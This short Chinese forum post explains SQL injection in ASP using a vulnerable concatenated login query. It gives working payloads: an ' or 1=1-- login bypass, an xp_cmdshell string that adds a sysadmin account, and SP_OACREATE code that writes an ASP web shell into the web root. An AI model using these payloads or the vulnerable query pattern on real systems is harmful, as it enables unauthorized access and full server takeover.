安全方面的东西太多了。。。。。
我也是刚刚涉足这个领域而已。。。。就我知道的稍微说说好了。。
举最简单 SQL 射入的例子。。。
引用:
SQLstr = "SELECT * FROM tblUser WHERE UserName='" & _
Request("UserName") & "' AND Password='" & Request("Pass") & "'"
这是一般的写法。。。
如果在表单的用户名域填入
' or 1=1--则 SQL 语句变成:
引用:
SELECT * FROM tblUser WHERE UserName='' or 1=1 --' AND assword='xxxxx'
AND 子句被表示为说明。。。就可以成功进入系统。。
既然有任意执行 SQL 语句的权限了。。一般人当然不肯就此罢休。。。
如果填入。。。
引用:
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--
或者
引用:
DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'
后果就会严重很多了。。。。